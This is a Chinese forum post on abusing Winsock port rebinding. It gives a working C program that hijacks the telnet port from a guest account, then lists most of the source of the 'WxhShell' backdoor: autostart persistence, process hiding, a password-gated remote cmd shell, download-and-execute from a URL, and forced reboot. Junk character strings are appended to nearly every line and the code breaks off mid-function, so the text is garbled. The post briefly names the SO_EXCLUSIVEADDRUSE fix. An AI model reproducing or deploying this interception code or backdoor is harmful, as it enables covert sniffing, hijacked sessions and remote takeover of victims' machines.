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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <U y $b4h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G1a56TIN~  
n-u HKBq  
  saddr.sin_family = AF_INET; ,MjlA{0  
'2Lx>nByk  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m}(M{^\|  
Dk Ef;P  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0|DyYu  
fcTg/EXn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &u!MI  
-asjBSo*D  
  这意味着什么?意味着可以进行如下的攻击: skYHPwJdW  
VGf&'nL@,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V-(*{/^"  
D}`MY\H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t2Px?S?  
TQtHU6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %O$=%"D6  
t*J?#r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !>#gm7  
AqAL)`#K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h0 Xc=nj  
? q_%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A%cJ5dF8~  
UX'q64F!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?_B'#,tI  
Zu*7t<W  
  #include G{!(2D4!  
  #include 4F"%X &$  
  #include C/4r3A/u  
  #include    KF6N P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]9-iEQ  
  int main() PXG@]$~3  
  { bcUSjG>  
  WORD wVersionRequested; EbeSl+iMx_  
  DWORD ret; DX^8w?t  
  WSADATA wsaData; Xf[;^?]X  
  BOOL val; r PTfwhs  
  SOCKADDR_IN saddr; $Xh5N3  
  SOCKADDR_IN scaddr; P]iJ"d]+X  
  int err; !"ir}Y%  
  SOCKET s; H.;2o(vD  
  SOCKET sc; 9^&B.6!6  
  int caddsize; azzG  
  HANDLE mt; V|TD+7.`QB  
  DWORD tid;   jNI9 .45y  
  wVersionRequested = MAKEWORD( 2, 2 ); lcM  
  err = WSAStartup( wVersionRequested, &wsaData ); DL#y_;#3_  
  if ( err != 0 ) { 1*e7NJ/.,  
  printf("error!WSAStartup failed!\n"); }; R2M  
  return -1; WL|<xNL  
  } OnH3Ss$  
  saddr.sin_family = AF_INET; K^",LCJA  
   a)*(**e$*i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G?,"AA;  
!*3]PZ25a(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H|$ *HQm  
  saddr.sin_port = htons(23); GO.7IL{ {  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KG4zjQf  
  { vw$b]MO!  
  printf("error!socket failed!\n"); nly}ly Q/  
  return -1; .mNw^>:cq  
  } oVr:ZwkG3  
  val = TRUE; ;<*USS6X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 III:j hh  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ">M&/}4  
  { 3ZN\F  
  printf("error!setsockopt failed!\n"); ]9~Il#  
  return -1; P+y XC^ ,  
  } \mTi@T!&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  7|yEf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BnfuI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %O!TS_~9  
W56VA>ia  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >l #D9%  
  { ,xR u74  
  ret=GetLastError(); ~Q#! oh'i  
  printf("error!bind failed!\n"); H )>3c1  
  return -1; 89j:YfA=v  
  } Q3Z?Z;2aR  
  listen(s,2); L]H' ]wpn=  
  while(1) N`{ 6<Z0  
  { *&I _fAh]  
  caddsize = sizeof(scaddr); >K&chg@Hv  
  //接受连接请求 .'.bokl/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |26[=_[q  
  if(sc!=INVALID_SOCKET) h:|BQC  
  { XZS%az1%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K2\)9  
  if(mt==NULL) ^(Z%,j3O  
  { vRn]u57O  
  printf("Thread Creat Failed!\n"); M]M>z>1*v  
  break; `DE_<l  
  } +]( #!}oH  
  } `mI5Z*]-  
  CloseHandle(mt); :P ]D`b6p  
  } H}lz_#Z  
  closesocket(s); X Ai0lN{,  
  WSACleanup(); 1M 6^Brx  
  return 0; E!.&y4  
  }   db=S*LUbl  
  DWORD WINAPI ClientThread(LPVOID lpParam) (74y2U6  
  { V2xvuDHI  
  SOCKET ss = (SOCKET)lpParam; BPl% SL  
  SOCKET sc; a@Zolz_Z  
  unsigned char buf[4096]; e2BC2K0  
  SOCKADDR_IN saddr; %pH|2VB#  
  long num; O,-NzGs  
  DWORD val; H+5+;`;  
  DWORD ret; p] N/]2rR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @h_ bXo  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,`OQAJ)>  
  saddr.sin_family = AF_INET; 0rQ r#0`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KX3A|  
  saddr.sin_port = htons(23); l@1=./L?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @y'ZM  
  { 4\nG Wi{2  
  printf("error!socket failed!\n"); `8tstWYa]Y  
  return -1; y<wd~!>Ubu  
  } I<XYLe[_S  
  val = 100; I-1NZgv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *z#du*f[  
  { xG(iSuz  
  ret = GetLastError(); ycwkF$7  
  return -1; \{!,a  
  } KK5_;<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y"ss<`Cn  
  { 3Ijs V5a  
  ret = GetLastError(); G,c2?^#n  
  return -1; >4-9 @i0FV  
  } *0eV9!y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) : 2$*'{mM  
  { 9[W >`JKo  
  printf("error!socket connect failed!\n"); *W^a<Zm8>  
  closesocket(sc); g HkHAOe/  
  closesocket(ss); GKOl{och  
  return -1; &r*F+gL  
  } G<$8g-O;D  
  while(1) D%LYQ  
  { ,!LY:pMK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Mu-kvgO`L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Owgy<@C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <3/_'/C  
  num = recv(ss,buf,4096,0); NQ;$V:s)  
  if(num>0) )''V}Zn.X  
  send(sc,buf,num,0); EaHJl  
  else if(num==0) uFb 9Ic]`  
  break; g]c6_DMfb1  
  num = recv(sc,buf,4096,0); GQJ4d-w  
  if(num>0) hQ!59  
  send(ss,buf,num,0); j_~mP>el)  
  else if(num==0) i7v =o#  
  break; '?Q"[e  
  } { o5^nd  
  closesocket(ss); I}5e{jBB  
  closesocket(sc); ](8F]J ,  
  return 0 ; 1|!)*!hu  
  } %l#X6jkt  
T9!NuKfur  
om9'A=ZU  
========================================================== e=s85!  
&zJ\D`\,O  
下边附上一个代码,,WXhSHELL S-ZN}N{,6  
m[iQ7/  
========================================================== md? cvGDE  
#qR6TM&;  
#include "stdafx.h" 5XzsqeG|  
l 9g  
#include <stdio.h> 'RF`XX  
#include <string.h> @V:Y%#%  
#include <windows.h> z}.6yHS  
#include <winsock2.h> Rm79mh9  
#include <winsvc.h> -Ah&|!/  
#include <urlmon.h> 2eeFaFif  
x Gbq,~_r  
#pragma comment (lib, "Ws2_32.lib") ^,t@HN;gA  
#pragma comment (lib, "urlmon.lib") GUqG1u z9  
Rg\4#9S JF  
#define MAX_USER   100 // 最大客户端连接数 W,[QK~  
#define BUF_SOCK   200 // sock buffer *)`PY4zF  
#define KEY_BUFF   255 // 输入 buffer q# Q%p+  
K/*"U*9Kv  
#define REBOOT     0   // 重启 GvgTbCxnN  
#define SHUTDOWN   1   // 关机 ,b IJW]h0  
3A[<LnKR^E  
#define DEF_PORT   5000 // 监听端口 N{&Lo}6F  
x4g/ok  
#define REG_LEN     16   // 注册表键长度 Ovj^ 7r:<s  
#define SVC_LEN     80   // NT服务名长度 Eu "8IM!%-  
S w%6-  
// 从dll定义API Jc}6kFgO6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @1gURx&2_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \>}#[?y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zS|4@t\__  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Njr;Wa.r+  
<?}pCX/O  
// wxhshell配置信息 +:=FcsY  
struct WSCFG { <6Y;VH^_  
  int ws_port;         // 监听端口 &Xh>w(u  
  char ws_passstr[REG_LEN]; // 口令 2 'D,1F  
  int ws_autoins;       // 安装标记, 1=yes 0=no |r,})o>  
  char ws_regname[REG_LEN]; // 注册表键名 x{zZ%_F  
  char ws_svcname[REG_LEN]; // 服务名 YcclO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vM!2?8bEFd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XzX2V">(%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iWC}\&i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X am8h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `H>&d K|/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p8@8b "  
<uJ {>~  
}; }!>\Ja<\  
r79 P|)\  
// default Wxhshell configuration S9 $t9o  
struct WSCFG wscfg={DEF_PORT, `GY3H3B  
    "xuhuanlingzhe", Scm45"wB+  
    1, tc)Md]S  
    "Wxhshell", 1#7|au%:)  
    "Wxhshell", |4P8N{ L>O  
            "WxhShell Service", rl~Rbi  
    "Wrsky Windows CmdShell Service", +r//8&  
    "Please Input Your Password: ", <Opw"yY&q]  
  1, (|o @  
  "http://www.wrsky.com/wxhshell.exe", )V>zXy}Y  
  "Wxhshell.exe" y7CO%SA  
    }; =q)+_@24>d  
UR=s=G|  
// 消息定义模块 W2h4ej\s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m9MY d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l;A'^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \v\ONp"  
char *msg_ws_ext="\n\rExit."; );TB(PQsBT  
char *msg_ws_end="\n\rQuit."; dY0W=,X$7T  
char *msg_ws_boot="\n\rReboot..."; ]3,  
char *msg_ws_poff="\n\rShutdown..."; DO-M0L  
char *msg_ws_down="\n\rSave to "; ?E V^H-rr  
@lWNSf  
char *msg_ws_err="\n\rErr!"; jPZ+~:m+  
char *msg_ws_ok="\n\rOK!"; n7~4*B  
B[EOz\?=m  
char ExeFile[MAX_PATH]; 4g2`[<S  
int nUser = 0; Rx"+i0  
HANDLE handles[MAX_USER]; $6J22m!S4n  
int OsIsNt; Z:>3AJuS_  
| Z2_W/  
SERVICE_STATUS       serviceStatus; 'nh2}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mLkp*?sfC  
@4Bl&(3S  
// 函数声明 Xf#;`*5  
int Install(void); :E|Jqi\  
int Uninstall(void); X"`[&l1  
int DownloadFile(char *sURL, SOCKET wsh); _z%~ m2SP  
int Boot(int flag); 9W\"A$;+&  
void HideProc(void); T+EwC)Ll  
int GetOsVer(void); 0<uLQVoR2n  
int Wxhshell(SOCKET wsl); MaD|X_g  
void TalkWithClient(void *cs); 66 R=  
int CmdShell(SOCKET sock); mbX'*up  
int StartFromService(void); ~}d\sQF .  
int StartWxhshell(LPSTR lpCmdLine); A-3^~aEgx  
Opg_-Bf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iHc(e(CB<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x\~ <8o  
):Z #!O<  
// 数据结构和表定义 oMLs22Do?  
SERVICE_TABLE_ENTRY DispatchTable[] = p^q/u  
{ pV (Mh[ }P  
{wscfg.ws_svcname, NTServiceMain}, YU+P+m2X  
{NULL, NULL} N#RC;  
}; st)v'ce,  
a'Odw2Q_  
// 自我安装 $8&Y(`  
int Install(void) )6X-m9.X  
{ -zJ V(`  
  char svExeFile[MAX_PATH]; {{_v.d~1  
  HKEY key; cfv: Ld m  
  strcpy(svExeFile,ExeFile); 1BW9,Xr  
jVOq/o  
// 如果是win9x系统,修改注册表设为自启动 ?f3R+4  
if(!OsIsNt) { ntPj9#lf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o@dT iQK_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J1cz D|(  
  RegCloseKey(key); W)D?8*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B<-("P(q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )eZ}Kt+  
  RegCloseKey(key); 6)ZaK  
  return 0;  >Z3>  
    } :*[mvF  
  } +_*NY~  
} ]3='TN8aQF  
else { "x$L 2>9  
M[O22wFs  
// 如果是NT以上系统,安装为系统服务 M;3q.0MU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pp1Kor  
if (schSCManager!=0) sUmpf4/  
{ xhho{  
  SC_HANDLE schService = CreateService 0[<' ygu  
  ( cV@^<  
  schSCManager, U=j`RQ 9,  
  wscfg.ws_svcname, "+qZv(  
  wscfg.ws_svcdisp, AX6:*aZB  
  SERVICE_ALL_ACCESS, ecH7")  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Kf(Px%G6K  
  SERVICE_AUTO_START, U,T#{  
  SERVICE_ERROR_NORMAL, iR{@~JN=)  
  svExeFile, 4G;KT~Cgb  
  NULL, }1V+8'D  
  NULL, JzCkVF$  
  NULL, KQ6][2-  
  NULL, et/l7+/'  
  NULL <Z_\2 YW A  
  ); ;@gI*i N"  
  if (schService!=0) cL.>e=x$  
  { m1]/8{EC7  
  CloseServiceHandle(schService); o%z^@Cq  
  CloseServiceHandle(schSCManager); NRP) 'E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  lFcHE c  
  strcat(svExeFile,wscfg.ws_svcname); [okV[7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Kx,X{$Pe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CKFr9bT{  
  RegCloseKey(key); XUR#|  
  return 0; *KiY+_8>  
    } >j ].`T  
  } |9$C%@8  
  CloseServiceHandle(schSCManager); - "2 t^ Q  
} Yc~lYz+b  
} z(O*DwY#  
*0L3#. i  
return 1; 9{S$%D  
} }uaFmXy3  
PGxv4(%  
// 自我卸载 y0O e)oP  
int Uninstall(void) %G6x\[,  
{ ?y>v"1+  
  HKEY key; a Iyzt  
0;=]MEk?  
if(!OsIsNt) { vlDA/( &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E#tfCM6  
  RegDeleteValue(key,wscfg.ws_regname); vZS/? pU~~  
  RegCloseKey(key); ;"EDFH#W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xm(#O1Vm(l  
  RegDeleteValue(key,wscfg.ws_regname); %t1Z!xv_  
  RegCloseKey(key); [5-Ik T0  
  return 0; g26_#4 P  
  } H|j]uLZ  
} '|v<^EH  
} zT/woiyB`  
else { $/JXI?K  
P@5-3]m=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r]QeP{  
if (schSCManager!=0) F/j ; q  
{ qQo*:3/];  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yU7XX+cB7  
  if (schService!=0) ND=JpVkvZ?  
  { `-b{|a J  
  if(DeleteService(schService)!=0) { aYpc\jJ  
  CloseServiceHandle(schService); C9k"QPE  
  CloseServiceHandle(schSCManager); _Fv6S}~Q  
  return 0; Oo(xYy  
  } NL-PQ%lUA  
  CloseServiceHandle(schService); "la0@/n  
  } :*|So5fs  
  CloseServiceHandle(schSCManager); 6fBA #Kb  
} g%m-*v*  
} XPt>klf  
(o{x*';i4  
return 1;  k 6@  
} C deV3  
tId,Q>zH  
// 从指定url下载文件 lq`7$7-4  
int DownloadFile(char *sURL, SOCKET wsh) @V Tw>=94  
{ Vz!{nL0Q(  
  HRESULT hr; " ~6&rt  
char seps[]= "/"; gr.G']9lNq  
char *token; sMJa4P>O@  
char *file; #%OS=.V  
char myURL[MAX_PATH]; v!<FeLW  
char myFILE[MAX_PATH]; -{d(~XIo  
f1o^:}5x  
strcpy(myURL,sURL); SjJ$Oinc  
  token=strtok(myURL,seps); *(i%\  
  while(token!=NULL) r<P?F  
  { &js$qgY  
    file=token; |6Iw\YU  
  token=strtok(NULL,seps); G2c\"[N1/  
  } ]:?hU^H]<  
?=kH}'igq  
GetCurrentDirectory(MAX_PATH,myFILE); 7Ot&]M  
strcat(myFILE, "\\"); NP~3!b  
strcat(myFILE, file); ^$oEM0h  
  send(wsh,myFILE,strlen(myFILE),0); fG.6S"|M  
send(wsh,"...",3,0); +>a(9r|:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); es+ZPX>Y  
  if(hr==S_OK) V!+<  
return 0; fbah~[5}  
else '?{L gj^R  
return 1; -I#<?=0B  
m,w^,)  
} }>YEtA  
@fVz *  
// 系统电源模块 K3rsew n  
int Boot(int flag) 6BXZGE  
{ pm=s  
  HANDLE hToken; UK@hnQU8`  
  TOKEN_PRIVILEGES tkp; yB;K|MXy?  
=3 ;! 5P  
  if(OsIsNt) { `VglE?M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?$/W3Xn0%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5g9K|-  
    tkp.PrivilegeCount = 1; >7W8_6sC<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [$\VvRu%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :FS~T[C;  
if(flag==REBOOT) { ~"R;p}5 "  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ukD:4s v  
  return 0; 2Aa  
} kCoEdQ_  
else { ah!RQ2hDrV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2&o3OKt  
  return 0; |hu9)0 P  
} F22]4DLHO  
  } H}1XK|K3#H  
  else { UM+g8J{$*;  
if(flag==REBOOT) { >-`-D=!V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6?0QzSpfC#  
  return 0; cI <T/~P  
} c+1<3)Q<  
else { eE0nW+i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \9:IL9~F  
  return 0; s=#[>^?  
} *zX^Sg-[  
} jH9.N4L  
P&Hhq>@Z  
return 1; vFgnbWxG  
} bGp3 V. H  
6a{b%e`  
// win9x进程隐藏模块 XJ7mvLM;  
void HideProc(void) %w/:mH3FA  
{ K!!#";Eo  
emS7q|^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >~G _'~_f  
  if ( hKernel != NULL ) @Y&(1Wl  
  { wF['oUwHH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $\nAGmp@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \!r,>P   
    FreeLibrary(hKernel); *;<oM]W_  
  } F4&`0y:  
'd<1;Ayw  
return; FK,YVY  
} M >s,I^  
/JP%gD"8  
// 获取操作系统版本 M/8EaQs}  
int GetOsVer(void) 0"c(n0L  
{ ;5aAnvgW  
  OSVERSIONINFO winfo; +[=%W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {gS7pY%_W  
  GetVersionEx(&winfo); ? y^t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G5zsId dS  
  return 1; FS6ZPjG)  
  else hKQg:30<  
  return 0; *Cx3bg*Gan  
} tWI4x3 &2  
9,A HC2kn%  
// 客户端句柄模块 |-vn,zpe  
int Wxhshell(SOCKET wsl) f9b[0L  
{ X&|y|  
  SOCKET wsh; /A%31WE&1  
  struct sockaddr_in client; C;eM:v0A[  
  DWORD myID; roWg~U(S  
o~p%ODH  
  while(nUser<MAX_USER) 6^Ax3# q  
{ f}zv@6#&  
  int nSize=sizeof(client); ,Je9]XT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Cn8w}) B  
  if(wsh==INVALID_SOCKET) return 1; (>gHfC>(lq  
dWDf(SS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); { daEKac5  
if(handles[nUser]==0) <0^L L  
  closesocket(wsh); ':?MFkYC  
else DzK%$#{<  
  nUser++; :g"U G0];  
  } $N17GqoC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c UHKE\F  
B pl(s+  
  return 0; ~HyqHx y  
} J~1 =?</  
aEC&#Q(]q  
// 关闭 socket v.e~m2u_F  
void CloseIt(SOCKET wsh) Z3nmC-NE  
{ x[eho,6)  
closesocket(wsh); 3h>5 6{P  
nUser--; :~dI2e\:  
ExitThread(0); + |d[q?  
} p#fV|2'  
'?v-o)X  
// 客户端请求句柄 [n9X5qG~  
void TalkWithClient(void *cs) *D$Hd">X  
{ *lws7R  
d^ YM@>%  
  SOCKET wsh=(SOCKET)cs;  N'e3<  
  char pwd[SVC_LEN]; !$^LTBOH3  
  char cmd[KEY_BUFF]; :=^_N}  
char chr[1]; VT`C<'   
int i,j; 9~C$C  
:7Smsc"B!  
  while (nUser < MAX_USER) { y6 _,U/9  
*[O)VkL\%i  
if(wscfg.ws_passstr) { /?g:`NT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T@,tlIM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IA?v[xu  
  //ZeroMemory(pwd,KEY_BUFF); b#z{["%Zp  
      i=0; p:8&&v~I  
  while(i<SVC_LEN) { sas:5iB5  
x9B{|+tIoc  
  // 设置超时 dw e$, 9  
  fd_set FdRead; h oL"K  
  struct timeval TimeOut; CYWL@<p,  
  FD_ZERO(&FdRead); 2<' 1m{  
  FD_SET(wsh,&FdRead); BD (  
  TimeOut.tv_sec=8; @ wJ|vW_.  
  TimeOut.tv_usec=0; j_2yTz"G-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2n8spLZYGY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I w-3Z'hOX  
%N }0,a0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j6{9XIR o_  
  pwd=chr[0]; :")iS?l  
  if(chr[0]==0xd || chr[0]==0xa) { MZInS:Vj  
  pwd=0; f)/5%W7n}  
  break; =]yzy:~ey  
  } Y< drRK!  
  i++; !XJS"owr  
    } EvEI5/ z  
mU3 @|a/@0  
  // 如果是非法用户,关闭 socket XrD@q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AUvUk<a  
} 8@Kvh|  
BVk&TGa;[$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yG<`7v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n_X)6 s  
?$&iVN^UA  
while(1) { U4hFPK<  
%Vp'^,&S  
  ZeroMemory(cmd,KEY_BUFF); |Q)c{9sD  
l;C00ZBOc  
      // 自动支持客户端 telnet标准   Nn%[J+F  
  j=0;  UX& ?^]  
  while(j<KEY_BUFF) { bzt(;>_8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;"77? )  
  cmd[j]=chr[0]; s;eOX\0  
  if(chr[0]==0xa || chr[0]==0xd) { 5D#Mhgun  
  cmd[j]=0; y6*9, CF  
  break; orcPKCz|"  
  } gwyHDSo8:a  
  j++; b^~"4fU  
    } -'iV-]<  
- P$mN6h  
  // 下载文件 <+wbnnK  
  if(strstr(cmd,"http://")) { Dy[_Ix/Y,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^k7`:@ z0U  
  if(DownloadFile(cmd,wsh)) 8qY\T0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -U"h3Ye^  
  else IyfhVk?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1\'zq;I~  
  } !jeoB  
  else { !C$bOhc  
E 9LKVs}  
    switch(cmd[0]) { D[5Qd)PIL  
  wgb e7-{  
  // 帮助 [aF^D;o  
  case '?': { mDT"%I"4j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <:rbK9MIl  
    break; !b0ANIp  
  } ^+m6lsuA  
  // 安装 1>BY:xZr  
  case 'i': { ^mA^7jB  
    if(Install()) np#RBy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C;C= g1I}  
    else TZ2-%k#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; n)9  
    break; ~RRp5x _  
    } Xj^Hy"HC^~  
  // 卸载 XDWR ]  
  case 'r': { fi6i{(K  
    if(Uninstall()) [Pnk@jIk4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _4]GP3`  
    else l,pI~A`w_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LR5X=&k  
    break; B?c n5  
    } drr n&y  
  // 显示 wxhshell 所在路径 ah (lH5r  
  case 'p': { CQ`$' oy?W  
    char svExeFile[MAX_PATH]; <oc"!c;T  
    strcpy(svExeFile,"\n\r"); xElHYh(\  
      strcat(svExeFile,ExeFile); 4*K~6Vh  
        send(wsh,svExeFile,strlen(svExeFile),0); CSC sJE#4  
    break; I}&`IUP  
    } iIe\mV  
  // 重启 1+f>tv  
  case 'b': { +NH#t} .  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z ]@ Q  
    if(Boot(REBOOT)) bh9!OqK9K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ch~2w)HAA  
    else { iAOm[=W  
    closesocket(wsh); rX-V0  
    ExitThread(0); 0pYCh$TL1  
    } 7NY9UQ  
    break; QR+{Yp  
    } t=IpV l!  
  // 关机 S8 {Sb>  
  case 'd': { Dp5hr8bT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bP4<q?FKcN  
